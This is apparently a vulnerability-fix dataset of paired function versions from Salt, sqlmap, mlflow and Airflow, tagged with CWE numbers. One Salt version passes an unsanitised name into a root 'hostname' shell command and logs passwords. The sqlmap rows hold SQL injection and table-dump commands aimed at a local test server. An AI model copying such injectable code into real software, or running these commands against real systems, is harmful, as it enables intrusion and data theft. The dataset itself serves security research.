                'Logging into {0}:{1} as {2}'.format(
                    host, port, username
                )
            )
            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            kwargs = {'hostname': host,
                      'port': port,
                      'username': username,
                      'timeout': ssh_timeout,
                      'display_ssh_output': display_ssh_output}
            if key_filename:
                log.debug('Using {0} as the key_filename'.format(key_filename))
                kwargs['key_filename'] = key_filename
            elif password:
                log.debug('Using {0} as the password'.format(password))
                kwargs['password'] = password

            #FIXME: this try-except doesn't make sense! Something is missing...
            try:
                log.debug('SSH connection to {0} successful'.format(host))
            except Exception as exc:
                log.error(
                    'There was an error in deploy_script: {0}'.format(exc)
                )

            if provider == 'ibmsce':
                subsys_command = (
                    'sed -i ""s/#Subsystem/Subsystem/"" '
                    '/etc/ssh/sshd_config'
                )
                root_cmd(subsys_command, tty, sudo, **kwargs)
                root_cmd('service sshd restart', tty, sudo, **kwargs)

            # Minion configuration
            if minion_pem:
                scp_file('/tmp/minion.pem', minion_pem, kwargs)
                root_cmd('chmod 600 /tmp/minion.pem', tty, sudo, **kwargs)

            if minion_pub:
                scp_file('/tmp/minion.pub', minion_pub, kwargs)

            if minion_conf:
                if not isinstance(minion_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `minion_conf` parameter. '
                        'Loading YAML...'
                    )
                    minion_conf = yaml.load(minion_conf)
                minion_grains = minion_conf.pop('grains', {})
                if minion_grains:
                    scp_file(
                        '/tmp/grains',
                        salt_config_to_yaml(minion_grains),
                        kwargs
                    )
                scp_file(
                    '/tmp/minion',
                    salt_config_to_yaml(minion_conf),
                    kwargs
                )

            # Master configuration
            if master_pem:
                scp_file('/tmp/master.pem', master_pem, kwargs)
                root_cmd('chmod 600 /tmp/master.pem', tty, sudo, **kwargs)

            if master_pub:
                scp_file('/tmp/master.pub', master_pub, kwargs)

            if master_conf:
                if not isinstance(master_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `master_conf` parameter. '
                        'Loading from YAML ...'
                    )
                    master_conf = yaml.load(master_conf)

                scp_file(
                    '/tmp/master',
                    salt_config_to_yaml(master_conf),
                    kwargs
                )

            # XXX: We need to make these paths configurable
            preseed_minion_keys_tempdir = '/tmp/preseed-minion-keys'
            if preseed_minion_keys is not None:
                # Create remote temp dir
                root_cmd(
                    'mkdir ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                root_cmd(
                    'chmod 700 ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown {0} ""{1}""'.format(
                            kwargs['username'], preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

                # Copy pre-seed minion keys
                for minion_id, minion_key in preseed_minion_keys.iteritems():
                    rpath = os.path.join(
                        preseed_minion_keys_tempdir, minion_id
                    )
                    scp_file(rpath, minion_key, kwargs)

                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown -R root ""{0}""'.format(
                            preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

            # The actual deploy script
            if script:
                scp_file('/tmp/deploy.sh', script, kwargs)
                root_cmd('chmod +x /tmp/deploy.sh', tty, sudo, **kwargs)

            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            queue = None
            process = None
            # Consider this code experimental. It causes Salt Cloud to wait
            # for the minion to check in, and then fire a startup event.
            # Disabled if parallel because it doesn't work!
            if start_action and not parallel:
                queue = multiprocessing.Queue()
                process = multiprocessing.Process(
                    target=check_auth, kwargs=dict(
                        name=name, pub_key=pub_key, sock_dir=sock_dir,
                        timeout=newtimeout, queue=queue
                    )
                )
                log.debug('Starting new process to wait for salt-minion')
                process.start()

            # Run the deploy script
            if script:
                if 'bootstrap-salt' in script:
                    deploy_command += ' -c /tmp/'
                    if make_syndic is True:
                        deploy_command += ' -S'
                    if make_master is True:
                        deploy_command += ' -M'
                    if make_minion is False:
                        deploy_command += ' -N'
                    if preseed_minion_keys is not None:
                        deploy_command += ' -k {0}'.format(
                            preseed_minion_keys_tempdir
                        )
                if script_args:
                    deploy_command += ' {0}'.format(script_args)

                if keep_tmp:
                    # Pass the proper environment variable to the bootstrap
                    # script to keep temporary files around
                    if not script_env:
                        script_env = {'BS_KEEP_TEMP_FILES': '1'}
                    else:
                        script_env['BS_KEEP_TEMP_FILES'] = '1'

                if script_env:
                    if not isinstance(script_env, dict):
                        raise SaltCloudSystemExit(
                            'The \'script_env\' configuration setting NEEDS '
                            'to be a dictionary not a {0}'.format(
                                type(script_env)
                            )
                        )
                    environ_script_contents = ['#!/bin/sh']
                    for key, value in script_env.iteritems():
                        environ_script_contents.append(
                            'setenv {0} \'{1}\' >/dev/null 2>&1 || '
                            'export {0}=\'{1}\''.format(key, value)
                        )
                    environ_script_contents.append(deploy_command)

                    # Upload our environ setter wrapper
                    scp_file(
                        '/tmp/environ-deploy-wrapper.sh',
                        '\n'.join(environ_script_contents),
                        kwargs
                    )
                    root_cmd(
                        'chmod +x /tmp/environ-deploy-wrapper.sh',
                        tty, sudo, **kwargs
                    )
                    # The deploy command is now our wrapper
                    deploy_command = '/tmp/environ-deploy-wrapper.sh'

                if root_cmd(deploy_command, tty, sudo, **kwargs) != 0:
                    raise SaltCloudSystemExit(
                        'Executing the command {0!r} failed'.format(
                            deploy_command
                        )
                    )
                log.debug('Executed command {0!r}'.format(deploy_command))

                # Remove the deploy script
                if not keep_tmp:
                    root_cmd('rm /tmp/deploy.sh', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/deploy.sh')
                    if script_env:
                        root_cmd(
                            'rm /tmp/environ-deploy-wrapper.sh',
                            tty, sudo, **kwargs
                        )
                        log.debug('Removed /tmp/environ-deploy-wrapper.sh')

            if keep_tmp:
                log.debug('Not removing deployment files from /tmp/')

            # Remove minion configuration
            if not keep_tmp:
                if minion_pub:
                    root_cmd('rm /tmp/minion.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pub')
                if minion_pem:
                    root_cmd('rm /tmp/minion.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pem')
                if minion_conf:
                    root_cmd('rm /tmp/grains', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/grains')
                    root_cmd('rm /tmp/minion', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion')

                # Remove master configuration
                if master_pub:
                    root_cmd('rm /tmp/master.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pub')
                if master_pem:
                    root_cmd('rm /tmp/master.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pem')
                if master_conf:
                    root_cmd('rm /tmp/master', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master')

                # Remove pre-seed keys directory
                if preseed_minion_keys is not None:
                    root_cmd(
                        'rm -rf {0}'.format(
                            preseed_minion_keys_tempdir
                        ), tty, sudo, **kwargs
                    )
                    log.debug(
                        'Removed {0}'.format(preseed_minion_keys_tempdir)
                    )

            if start_action and not parallel:
                queuereturn = queue.get()
                process.join()
                if queuereturn and start_action:
                    #client = salt.client.LocalClient(conf_file)
                    #output = client.cmd_iter(
                    #    host, 'state.highstate', timeout=timeout
                    #)
                    #for line in output:
                    #    print(line)
                    log.info(
                        'Executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
                    root_cmd(
                        'salt-call {0}'.format(start_action),
                        tty, sudo, **kwargs
                    )
                    log.info(
                        'Finished executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
            # Fire deploy action
            event = salt.utils.event.SaltEvent('master', sock_dir)
            try:
                event.fire_event(
                    '{0} has been created at {1}'.format(name, host),
                    'salt-cloud'
                )
            except ValueError:
                # We're using develop or a 0.17.x version of salt
                event.fire_event(
                    {name: '{0} has been created at {1}'.format(name, host)},
                    'salt-cloud'
                )
            return True
    return False",CWE-20,saltstack/salt,d6beda1f48b8ccd6dcc16d896828b8e5e8f9019d,"def deploy_script(host, port=22, timeout=900, username='root',
                  password=None, key_filename=None, script=None,
                  deploy_command='/tmp/deploy.sh', sudo=False, tty=None,
                  name=None, pub_key=None, sock_dir=None, provider=None,
                  conf_file=None, start_action=None, make_master=False,
                  master_pub=None, master_pem=None, master_conf=None,
                  minion_pub=None, minion_pem=None, minion_conf=None,
                  keep_tmp=False, script_args=None, script_env=None,
                  ssh_timeout=15, make_syndic=False, make_minion=True,
                  display_ssh_output=True, preseed_minion_keys=None,
                  parallel=False):
    '''
    Copy a deploy script to a remote server, execute it, and remove it
    '''
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    starttime = time.mktime(time.localtime())
    log.debug('Deploying {0} at {1}'.format(host, starttime))
    if wait_for_ssh(host=host, port=port, timeout=timeout):
        log.debug('SSH port {0} on {1} is available'.format(port, host))
        newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
        if wait_for_passwd(host, port=port, username=username,
                           password=password, key_filename=key_filename,
                           ssh_timeout=ssh_timeout,
                           display_ssh_output=display_ssh_output):
            log.debug(
                'Logging into {0}:{1} as {2}'.format(
                    host, port, username
                )
            )
            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            kwargs = {'hostname': host,
                      'port': port,
                      'username': username,
                      'timeout': ssh_timeout,
                      'display_ssh_output': display_ssh_output}
            if key_filename:
                log.debug('Using {0} as the key_filename'.format(key_filename))
                kwargs['key_filename'] = key_filename
            elif password:
                log.debug('Using {0} as the password'.format(password))
                kwargs['password'] = password

            #FIXME: this try-except doesn't make sense! Something is missing...
            try:
                log.debug('SSH connection to {0} successful'.format(host))
            except Exception as exc:
                log.error(
                    'There was an error in deploy_script: {0}'.format(exc)
                )

            if provider == 'ibmsce':
                subsys_command = (
                    'sed -i ""s/#Subsystem/Subsystem/"" '
                    '/etc/ssh/sshd_config'
                )
                root_cmd(subsys_command, tty, sudo, **kwargs)
                root_cmd('service sshd restart', tty, sudo, **kwargs)

            # Update hostname on the minion
            hostname_cmd = 'test `hostname` == {0} || hostname {0}'.format(name)
            root_cmd(hostname_cmd, tty, sudo, **kwargs)

            # Minion configuration
            if minion_pem:
                scp_file('/tmp/minion.pem', minion_pem, kwargs)
                root_cmd('chmod 600 /tmp/minion.pem', tty, sudo, **kwargs)

            if minion_pub:
                scp_file('/tmp/minion.pub', minion_pub, kwargs)

            if minion_conf:
                if not isinstance(minion_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `minion_conf` parameter. '
                        'Loading YAML...'
                    )
                    minion_conf = yaml.load(minion_conf)
                minion_grains = minion_conf.pop('grains', {})
                if minion_grains:
                    scp_file(
                        '/tmp/grains',
                        salt_config_to_yaml(minion_grains),
                        kwargs
                    )
                scp_file(
                    '/tmp/minion',
                    salt_config_to_yaml(minion_conf),
                    kwargs
                )

            # Master configuration
            if master_pem:
                scp_file('/tmp/master.pem', master_pem, kwargs)
                root_cmd('chmod 600 /tmp/master.pem', tty, sudo, **kwargs)

            if master_pub:
                scp_file('/tmp/master.pub', master_pub, kwargs)

            if master_conf:
                if not isinstance(master_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `master_conf` parameter. '
                        'Loading from YAML ...'
                    )
                    master_conf = yaml.load(master_conf)

                scp_file(
                    '/tmp/master',
                    salt_config_to_yaml(master_conf),
                    kwargs
                )

            # XXX: We need to make these paths configurable
            preseed_minion_keys_tempdir = '/tmp/preseed-minion-keys'
            if preseed_minion_keys is not None:
                # Create remote temp dir
                root_cmd(
                    'mkdir ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                root_cmd(
                    'chmod 700 ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown {0} ""{1}""'.format(
                            kwargs['username'], preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

                # Copy pre-seed minion keys
                for minion_id, minion_key in preseed_minion_keys.iteritems():
                    rpath = os.path.join(
                        preseed_minion_keys_tempdir, minion_id
                    )
                    scp_file(rpath, minion_key, kwargs)

                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown -R root ""{0}""'.format(
                            preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

            # The actual deploy script
            if script:
                scp_file('/tmp/deploy.sh', script, kwargs)
                root_cmd('chmod +x /tmp/deploy.sh', tty, sudo, **kwargs)

            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            queue = None
            process = None
            # Consider this code experimental. It causes Salt Cloud to wait
            # for the minion to check in, and then fire a startup event.
            # Disabled if parallel because it doesn't work!
            if start_action and not parallel:
                queue = multiprocessing.Queue()
                process = multiprocessing.Process(
                    target=check_auth, kwargs=dict(
                        name=name, pub_key=pub_key, sock_dir=sock_dir,
                        timeout=newtimeout, queue=queue
                    )
                )
                log.debug('Starting new process to wait for salt-minion')
                process.start()

            # Run the deploy script
            if script:
                if 'bootstrap-salt' in script:
                    deploy_command += ' -c /tmp/'
                    if make_syndic is True:
                        deploy_command += ' -S'
                    if make_master is True:
                        deploy_command += ' -M'
                    if make_minion is False:
                        deploy_command += ' -N'
                    if preseed_minion_keys is not None:
                        deploy_command += ' -k {0}'.format(
                            preseed_minion_keys_tempdir
                        )
                if script_args:
                    deploy_command += ' {0}'.format(script_args)

                if keep_tmp:
                    # Pass the proper environment variable to the bootstrap
                    # script to keep temporary files around
                    if not script_env:
                        script_env = {'BS_KEEP_TEMP_FILES': '1'}
                    else:
                        script_env['BS_KEEP_TEMP_FILES'] = '1'

                if script_env:
                    if not isinstance(script_env, dict):
                        raise SaltCloudSystemExit(
                            'The \'script_env\' configuration setting NEEDS '
                            'to be a dictionary not a {0}'.format(
                                type(script_env)
                            )
                        )
                    environ_script_contents = ['#!/bin/sh']
                    for key, value in script_env.iteritems():
                        environ_script_contents.append(
                            'setenv {0} \'{1}\' >/dev/null 2>&1 || '
                            'export {0}=\'{1}\''.format(key, value)
                        )
                    environ_script_contents.append(deploy_command)

                    # Upload our environ setter wrapper
                    scp_file(
                        '/tmp/environ-deploy-wrapper.sh',
                        '\n'.join(environ_script_contents),
                        kwargs
                    )
                    root_cmd(
                        'chmod +x /tmp/environ-deploy-wrapper.sh',
                        tty, sudo, **kwargs
                    )
                    # The deploy command is now our wrapper
                    deploy_command = '/tmp/environ-deploy-wrapper.sh'

                if root_cmd(deploy_command, tty, sudo, **kwargs) != 0:
                    raise SaltCloudSystemExit(
                        'Executing the command {0!r} failed'.format(
                            deploy_command
                        )
                    )
                log.debug('Executed command {0!r}'.format(deploy_command))

                # Remove the deploy script
                if not keep_tmp:
                    root_cmd('rm /tmp/deploy.sh', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/deploy.sh')
                    if script_env:
                        root_cmd(
                            'rm /tmp/environ-deploy-wrapper.sh',
                            tty, sudo, **kwargs
                        )
                        log.debug('Removed /tmp/environ-deploy-wrapper.sh')

            if keep_tmp:
                log.debug('Not removing deployment files from /tmp/')

            # Remove minion configuration
            if not keep_tmp:
                if minion_pub:
                    root_cmd('rm /tmp/minion.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pub')
                if minion_pem:
                    root_cmd('rm /tmp/minion.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pem')
                if minion_conf:
                    root_cmd('rm /tmp/grains', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/grains')
                    root_cmd('rm /tmp/minion', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion')

                # Remove master configuration
                if master_pub:
                    root_cmd('rm /tmp/master.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pub')
                if master_pem:
                    root_cmd('rm /tmp/master.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pem')
                if master_conf:
                    root_cmd('rm /tmp/master', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master')

                # Remove pre-seed keys directory
                if preseed_minion_keys is not None:
                    root_cmd(
                        'rm -rf {0}'.format(
                            preseed_minion_keys_tempdir
                        ), tty, sudo, **kwargs
                    )
                    log.debug(
                        'Removed {0}'.format(preseed_minion_keys_tempdir)
                    )

            if start_action and not parallel:
                queuereturn = queue.get()
                process.join()
                if queuereturn and start_action:
                    #client = salt.client.LocalClient(conf_file)
                    #output = client.cmd_iter(
                    #    host, 'state.highstate', timeout=timeout
                    #)
                    #for line in output:
                    #    print(line)
                    log.info(
                        'Executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
                    root_cmd(
                        'salt-call {0}'.format(start_action),
                        tty, sudo, **kwargs
                    )
                    log.info(
                        'Finished executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
            # Fire deploy action
            event = salt.utils.event.SaltEvent('master', sock_dir)
            try:
                event.fire_event(
                    '{0} has been created at {1}'.format(name, host),
                    'salt-cloud'
                )
            except ValueError:
                # We're using develop or a 0.17.x version of salt
                event.fire_event(
                    {name: '{0} has been created at {1}'.format(name, host)},
                    'salt-cloud'
                )
            return True
    return False"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/artifact/test_artifact_repo.py,0,"def list_artifacts(self, path):
        raise NotImplementedError()",,mlflow/mlflow,608aed512e10b79827a122631a35c21d7362f7b0,"def list_artifacts(self, path):
        raise NotImplementedError()"
,UNKNOWN,UNKNOWN,lib/core/testing.py,1,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-r <request> --flush-session"", (""CloudFlare"",)),
        (""-u <url> --flush-session --forms --crawl=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='{\""id\"": 1}' --banner"", (""might be injectable"", ""3 columns"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='<root><param name=\""id\"" value=\""1*\""/></root>' --union-char=1 --mobile --banner --smart"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H 'id: 1*' --tables"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner"", (""NULL connection is supported with HEAD method"", ""banner: '3"")),
        (""-u <url> --flush-session --parse-errors --test-filter=\""subquery\"" --eval=\""id2=2\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""WHERE or HAVING clause (subquery"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --flush-session --all"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT * FROM users\"""", (""SELECT * FROM users [5]"", ""nameisnull"")),
        (""-d <direct> --flush-session --dump -T users --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"",)),
        (""-d <direct> --flush-session --banner --schema --sql-query=\""SELECT 987654321\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""[*] 987654321"",)),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.10"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            break
        except:
            time.sleep(1)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    open(request, ""w+"").write(""POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n"" % (address, port))

    url = ""http://%s:%d/?id=1"" % (address, port)
    direct = ""sqlite3://%s"" % database

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        cmd = ""%s %s %s --batch"" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options.replace(""<url>"", url).replace(""<direct>"", direct).replace(""<request>"", request))
        output = shellExec(cmd)

        if not all(check in output for check in checks):
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % clearColors(output))
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal",CWE-330,sqlmapproject/sqlmap,8fb6268b5110a11e10f15eeb638a82c3604d4e1f,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-r <request> --flush-session"", (""CloudFlare"",)),
        (""-u <url> --flush-session --forms --crawl=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='{\""id\"": 1}' --banner"", (""might be injectable"", ""3 columns"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --data='<root><param name=\""id\"" value=\""1*\""/></root>' --union-char=1 --mobile --banner --smart"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3"")),
        (""-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H 'id: 1*' --tables"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --banner"", (""NULL connection is supported with HEAD method"", ""banner: '3"")),
        (""-u <url> --flush-session --parse-errors --test-filter=\""subquery\"" --eval=\""id2=2\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""WHERE or HAVING clause (subquery"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --flush-session --all --tamper=between,randomcase"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT * FROM users\"""", (""SELECT * FROM users [5]"", ""nameisnull"")),
        (""-d <direct> --flush-session --dump -T users --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"",)),
        (""-d <direct> --flush-session --banner --schema --sql-query=\""SELECT 987654321\"""", (""banner: '3"", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""[*] 987654321"",)),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.10"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            break
        except:
            time.sleep(1)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    open(request, ""w+"").write(""POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n"" % (address, port))

    url = ""http://%s:%d/?id=1"" % (address, port)
    direct = ""sqlite3://%s"" % database

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        cmd = ""%s %s %s --batch"" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options.replace(""<url>"", url).replace(""<direct>"", direct).replace(""<request>"", request))
        output = shellExec(cmd)

        if not all(check in output for check in checks):
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % clearColors(output))
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal"
,UNKNOWN,UNKNOWN,tests/models/test_xcom_arg_map.py,1,"def test_xcom_map_nest(dag_maker, session):
    results = set()

    with dag_maker(session=session) as dag:

        @dag.task()
        def push():
            return [""a"", ""b"", ""c""]

        @dag.task()
        def pull(value):
            results.add(value)

        converted = push().map(lambda v: v * 2).map(lambda v: {""value"": v})
        pull.expand_kwargs(converted)

    dr = dag_maker.create_dagrun()

    # Run ""push"".
    decision = dr.task_instance_scheduling_decisions(session=session)
    for ti in decision.schedulable_tis:
        ti.run(session=session)

    session.flush()
    session.commit()

    # Now ""pull"" should apply the mapping functions in order.
    decision = dr.task_instance_scheduling_decisions(session=session)
    for ti in decision.schedulable_tis:
        ti.run(session=session)
    assert results == {""aa"", ""bb"", ""cc""}",CWE-703,apache/airflow,6b21b79f33e245ff1612b1970d05ef692c41f15c,"def test_xcom_map_nest(dag_maker, session):
    results = set()

    with dag_maker(session=session) as dag:

        @dag.task()
        def push():
            return [""a"", ""b"", ""c""]

        @dag.task()
        def pull(value):
            results.add(value)

        converted = push().map(lambda v: v * 2).map(lambda v: {""value"": v})
        pull.expand_kwargs(converted)

    dr = dag_maker.create_dagrun()

    # Run ""push"".
    decision = dr.task_instance_scheduling_decisions(session=session)
    for ti in decision.schedulable_tis:
        ti.run(session=session)

    # Now ""pull"" should apply the mapping functions in order.
    decision = dr.task_instance_scheduling_decisions(session=session)
    for ti in decision.schedulable_tis:
        ti.run(session=session)
    assert results == {""aa"", ""bb"", ""cc""}"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/providers/dingding/hooks/test_dingding.py,0,"def test_build_multi_action_card_message(self):
        msg = {
            'title': 'Airflow dingding multi actionCard message',
            'text': 'Airflow dingding multi actionCard message\n'
            '![logo](http://airflow.apache.org/_images/pin_large.png)\n'
            'Airflow documentation and GitHub',
            'hideAvatar': '0',
            'btnOrientation': '0',
            'btns': [
                {'title': 'Airflow Documentation', 'actionURL': 'http://airflow.apache.org'},
                {'title': 'Airflow GitHub', 'actionURL': 'https://github.com/apache/airflow'},
            ],
        }
        config = {'dingding_conn_id': self.conn_id, 'message_type': 'actionCard', 'message': msg}
        expect = {'msgtype': 'actionCard', 'actionCard': msg}
        hook = DingdingHook(**config)
        message = hook._build_message()
        self.assertEqual(json.dumps(expect), message)",CWE-Unknown,apache/airflow,172820db4d2009dd26fa8aef4a864fb8a3d7e78d,"def test_build_multi_action_card_message(self):
        msg = {
            'title': 'Airflow dingding multi actionCard message',
            'text': 'Airflow dingding multi actionCard message\n'
            '![logo](http://airflow.apache.org/_images/pin_large.png)\n'
            'Airflow documentation and github',
            'hideAvatar': '0',
            'btnOrientation': '0',
            'btns': [
                {'title': 'Airflow Documentation', 'actionURL': 'http://airflow.apache.org'},
                {'title': 'Airflow GitHub', 'actionURL': 'https://github.com/apache/airflow'},
            ],
        }
